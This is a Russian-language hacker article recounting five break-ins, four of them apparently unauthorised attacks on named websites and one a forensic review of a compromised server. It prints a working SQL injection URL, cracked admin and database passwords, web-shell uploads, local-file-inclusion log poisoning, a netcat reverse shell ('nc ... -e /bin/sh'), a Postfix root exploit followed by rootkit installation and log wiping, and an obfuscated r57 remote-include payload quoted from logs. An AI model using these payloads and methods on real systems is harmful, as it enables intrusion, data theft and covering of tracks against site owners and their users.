INTRO

Привет читатель! Я продолжаю радовать (или огорчать) тебя своими сумасшедшими статьями. Сегодня меня накрыла муза. И я решил писать.
Название данного материала 5 раз – hack. О чем она?
Ниже я приведу 5 интересных случаев взлома. Потом проанализирую их.
Ну и начнем…

BODY

Предновогодний дамп && Печальная истории шопа. Hack №1
Предыстория
На улице была зима. Дело шло к Новому Году. Как раз перед каникулами я загрипповал и как водится, остался дома.
Потягивая чай с малиновым вареньем я серфил просторы Интернета, даже не задумываясь о том, что меня ждет дальше. Вскоре я наткнулся на онлайн шоп.
Там продавалось всякое барахло, вроде бейсболки с айподом или наушников со встроенным прибором для измерения пульса.
Делать было нечего, все знакомые из сети разошлись по школам и институтам, поэтому я решил протестировать сайт на безопасность.

Hack.
Reverse IP показало, что на сервер находится только этот ресурс
Не обнаружив в подвале сайта никаких надписей о версии и наименовании движка я обратил свой взгляд на исходник страницы.
После беглого осмотра кода стало ясно, что двиг самописный. Ну что ж так даже интереснее. Немного потыкав параметры я ничего не обнаружил. Скрипт тупо перенаправлял мена на главную страницу.
Но кто ищет тот найдет. Неприметная кнопочка, для вывода информации об изготовители товара, передавала не фильтруемое значение:


www.tatshop.us/oldproducts.php?category=iron&id=32'




www.tatshop.us/oldproducts.php?category=iron&id=32'+uninon+select+1,2,3,unhex(hex(password)),5,6,7,8,unhex(hex(usernam)),10,11+from+usershop+limit+1,1/*

Хеш пассворда и логин были у меня в руках. Понадеявшись на фортуну я попробовал сбрутить хеш с помощью онлайн сервисов. К счастью админ оказался не слишком «продупленным» и пароль был несложным: 12041980. Похоже дата рождения
Осталось найти админ панель и дело в шляпе.
Только вот стандартные /admin и /administrator не прокатывали. Тогда я заглянул в поисковик:



site:www.tatshop.us admin


И удача! Первая ссылка ввела в админку.



www.tatshop.us/structure/admin


banny: 12041980


Оказавшись хозяином сайта я стал прощупывать CMS на возможность выполнение кода.

В разделе «настройки» была возможность добавлять товары и заливать картинки. Чем я и воспользовался, залив r57shell.
Тут я понял, что мне придется изрядно постараться, что бы найти его. Минут пятнадцать побрутив директории я таки наткнулся на скрипт:


www.tatshop.us/structure/products/usrjoin.php
(usrjoin.php – веб шелл)


Тут же выполнив команду "id"я получил вот такие сведения:


uid=11187(oldstas) gid=11187 (oldstas) groups=11187 (oldstas)


Можно было попробовать залить нормальный шелл, но я не стал торопиться.
Погуляв по доступным директориям, я нашел интересным файл:
configmysql.php
Содержание было довольно обширным, но меня привлекла вот эта часть:


$host = "localhost" ;
$username = "banny" ;
$password = "80190412" ;

Попробовав подключиться к базе, мне дали пинка.
Тогда, найдя бажный скрипт, я внимательно осмотрел его.
И нашел строку:







Пройдя по пути:

/home/oldstas/www/includ/

И открыв файл db.php
Я обнаружил заветную цель.


define("HOST", "localhost");
define("USER", " oldstas");
define("PASS", "3r3o4i");
define("DB", " oldstas _cards");



Дальше все было просто, как два байта передать. Я подключился и зделал дапм базы.

Послесловие.
Как видите, безопасность сайта опять подвела иньекция. К тому же в админ панели было несложно залить шелл. Так что администрация крупно облажалась. Так вот, стоит ли ставить самописные двиги на такие проекты? Думаю если бы стоял паблик движок, то взлом затянулся бы подольше. Хотя это тоже могло и упростить дело.

Мыло стоит рута && ода о паролях. Hack №2

Предисловие.
Было около 11 часов вечера. Вернувшись, домой после вечерней прогулки я первым делом проверил почту, прикидывая в голове план на очередную бессонную ночь. Неплохо было бы пополнить свою коллекцию шелл аккаунтов.
Допросив гугл я нашел парочку .us сайтов. Выбрав один я стал осматривать содержимое.

Hack.
Ничего особенного кажется новостной портал или что то вроде того.
Погуляв по сайту я наткнулся на мыло rabel@newnews.us

Вызвав консоль, я запустил полуоткрытое сканирование портов:



$nmap –v –sS www.newnews.us

21 open
22 open
25 open
110 open



Пробив 21 порт netcat –ом я убедился, что там висел свеженький ProFTP

Вернувшись на сайт, я нашел почтовый сервис. Там присутствовала функция восстановления пароля, но это не катило. Мне нужен был сам пароль. Похоже, выходом из данной ситуации был только брут.
Порывшись в архивах я нашел perl скрипт. Пристыковав к нему весомую базу паролей, я запустил брутофорс.
Скрипт закончил работу на следующее утро. Пароль был довольно простым:
13 05 33 26
Поковыряв почтовый ящик я не обнаружил там ничего интересного.
Тогда я решил реализовать старую задумку – попробовать войти на ftpс помощью пароля от мыла:


$ftp
$>open 234.32.54.17
User rabel
Passwd

И как ни странно у меня получилось
Создав простенький phpскрипт примерно такого содержания:




Я залил его в корневую директорию сайта:



$cd /www
$send /home/stranger/tmp.php



И выполнил


www.newnews.us/tmp.php



Теперь можно бы попробовать подключиться к серверу:



$nc 234.32.54.17 2370


У меня был полноценный шелл.

Пробив командой id свои права, я увидел вот это:



uid=234(robel) gid=234(robel) group=234(robel) context=unconfined_u:system_r:hotplug_t:s0-s0:c0.c1023

Но команда
$uname –a
Совсем меня не порадовала
На серванте крутилась последняя (на тот момент) пропатченое ядро linux
Уже собравшись плюнуть на это дело я проверил запущенные процессы.
Меня заинтересовал демон Postfix. Я вспомнил, что сканирование показало открытый 25 порт сервера.

А известно, что в Postfix для открытие 25 порта нужны рутовые привилегии. Так что есть возможность поднять свои права.
Проверив версию демона я был приятно удивлен. В паблике меня уже дожидался, сплоит, который давал рута. Посмотреть можно здесь.



$sh sploit.sh



Все. Осталось только установить руткит.
Залив wget –ом LRK5 я запустил его в теневом режиме:



$make shadow install



Затерев логи я вышел из системы.

Послесловие.

Как видишь, всего лишь одно взломанное мыло стоило администрации очень дорого. Думаю, не стоило светить электронный адрес на сайте.

Да и за обновление ПО следить нужно повнимательней. Думаю если бы Postfix был обновлен я бы не смог получить рут.

Как развлекаются скрипт-кидди && Мой первый взлом. Hack №3

Предыстория.

Начитавшись статей про крутые взломы, мне жутко захотелось сделать что то подобное.

Изучив phpincludebug, я начал пытать google.

Hack


inurl:"php" and "page="



Пропарсив несколько ссылок я обнаружил инклуд. Жалко, что не удаленный, но читать файлы было возможно:



www.target.com/view.php?page=car.php&id=1
www.target.com/view.php?page=../../../etc/passwd&id=1

Теперь можно было попробовать найти конфиг apache и сконструировав специальный заголовок выполнить php код.

Перепробовав несколько путей я нашел верный:



www.target.com/view.php?page=../../../../../../../../../../../../var/log/httpd/access_log&id=1



Далее, с помощью firefox плагина LiveHTTPHeaders я записал в поле User-Agent такой код:




И вызвал скрипт:



www.target.com/view.php?page=../../../../../../../../../../../../var/log/httpd/access_log&cmd=ls



На что тот выплюнул содержимое текущей директории.

Но из-за своей неопытности я так и не смог ничего сделать, кроме как задефейсить главную страницу.

А что вы хотели? Первый взлом.=)

Послесловие.

Как видите, я, не имея практически никакого опыта, смог задефейсить сайт. И все из-за банального инклуда. Конечно если бы тогда у меня было побольше опыта и знаний последствия могли бы быть гораздо серьезнее.

Почему нужно знать php. Hack №4

Предыстория.

Однажды утром мой хороший сетевой друг попросил проверить один сайт, т.к. у него были давние счеты с админом. Знакомый этот меня часто выручал, поэтому я решился взяться за это.

Hack.

Первое что бросилось в глаза это подпись в подвале сайта:

Powerby CamanCMS

Помучив гугл мне стало ясно, что это бесплатный двиг. Причем про уязвимости в нем не говорилось ни слова.

Но была реальная возможность поискать дыры самому в исходном коде.

Скачав CMS и поставив ее на localhost, я принялся за изучение.

Скажу, что поиск дыр занял около часа, за это время я наткнулся только на пассивную xss.

Но вскоре удача повернулась ко мне приличным местом, вот в этом участке кода:


If(isset($getinfo)
{preg_replace("/345/e",$_GET['name'],$_GET['date']);}
else

{print “Information not found
”}
Об этой уязвимости я читал в статье Elekt –a.
Суть в том, что использование модификатора –e в регулярном выражении может вести к выполнению произвольного кода во втором параметре. Скажу что бага ну ОЧЕНЬ редкая. У меня были сомнения насчет нее. Но на целевом сайте выглядело так:
Код:

www.jonniget.ru/find.php?name=CODE&


Теперь нужно было получить нормальный доступ к серверу, т.к. другу этого было достаточно.
Скачав и запустив на сервер биндшелл я попробовал подлючиться. Но вопреки моим ожиданием коннекта не было. Похоже, фаервол резал все входящие подключения.
Но была вероятность, что он неправильно настроен, т.е. возможно провести бэкконнект.
Не долго думая я выполнил такую команду (у себя в консоли)
Код:

netcat -l -p 4444


А на целевом сервере:



nc -v 43.23.234.32 4444 -e /bin/sh &

Где 43.23.234.32 – мой адрес
Через некоторое время произошло подключение.

Больше мне и не нужно было. Написав небольшую записку о реализации уязвимости, я отправил ее своему знакомому по e-mail

Послесловие.

Ну что сказать. Создатели сайта использовали бесплатную CMS. Не скажу, что это плохо, но как видно ошибки все-таки нашлись. Я даже был несколько удивлен тому, что их оказалось немного. Несомненно, плюс администрации за файрвол, который блокировал мой бинд шелл. Но опять же он был неправильно настроен, что и позволило мне проникнуть на сервер.

После взлома && По другую сторону баррикад. Hack №5
Предыстория
Около 2 месяцев назад мне нужно было исследовать одну «живую» взломанную систему.
Сейчас я и расскажу об этом.

Hack…. или не hack?
В общем, система была свеженькая, не перезагруженная. Так сказать труп был еще теплым =(/)
Нужно было очень хорошо подумать. Ведь система могла быть протроянена.
Поэтому я решил сначала протестировать взломанную Ось на наличие руткитов, а потом проанализировать лог файлы. Если такие сохранились.

В качестве клинера я выбрал chkrootkit
Скачав и распаковав архив я уже хотел приступить к компиляции, но вспомнил что я redhat системе. Поэтому пришлось кое-что подредактировать в исходниках (манны кстати здорово помогли):



chklastlog.c

#define LASTLOG_FILENAME "/var/adm/lastlog"
On
#define LASTLOG_FILENAME "/var/log/lastlog"


#define WTMP_FILENAME "/var/adm/wtmp"
On
#define WTMP_FILENAME "/var/log/wtmp"


chkwtmp.c
#define WTMP_FILENAME "/var/adm/wtmp"
On
#define WTMP_FILENAME "/var/log/wtmp"

Далее компиляция была произведена без последствий.

Запуск:

$./chkrootkit


Но программа так ничего и не обнаружила. Похоже, система была чиста.

Тогда возможно остались лог файлы, поэтому я пошел помучить syslog.
Но и тут все было в порядке. Странно. Может админы нас нае*бли?

Но вот что интересно. Пробежавшись по временным файлам, я обнаружил один, который меня заинтересовал. Похоже, он относился к логклинеру vanish.
Но ваниш прога порядочная. Все файлы после себя подтирает. Единственное что пришло мне в голову это то, что взломщик аварийно прекратил работу программы. Тогда бы временные файлы остались.

После некоторых раздумий я решил проверить логи апача.

Веб контент был скудный, одни HTML (по словам администрации), стоял еще форум, но он был пропатчен. Так что взлом через веб зону был исключен. Но проверить не помешает.

В логах было обнаружена вот такая картина (вырезка):


r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(114).chr(115)
.chr(116).chr(46).chr(118).chr(111).chr(105).chr(100).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53) .chr(55).chr(105).chr(112).chr(98). chr(105).chr(110).chr(99). chr(46). chr(116).chr(120).chr(116)))


Использование сплоита на лицо. Но как вы понимаете неудачно. Айпишник тоже засветился. Но, скорее всего это прокси.

Вот и все что удалось раскопать. А взлом был произведен из-за не пропатченого демона ftp

Далее я просто скинул админу на мыло результат работы.

Послесловие.
Ну что тут сказать. В первых хакера подвела работа логвайпера. Т.е. по сути, он сам себя подвел. Да и потом использование этого сомнительного сплоита. И следы в логах апача. Похоже, работал новичок.



OUTRO.

Ну вот. Я постарался выбрать 5 разных случаев взлома. Надеюсь, этот материал поможет зазевавшимся админам в их работе. Взломы есть и будут. Вопрос только во времени.

Удачи!

die «Вся информация выложена только для ознакомление, автор не несет ответственности за использование материала в личных целях»

Наверняка вы найдёте в статье ошибки. Буду очень рад если они будут указаны в комментариях.

StraNger aka reaL StraNger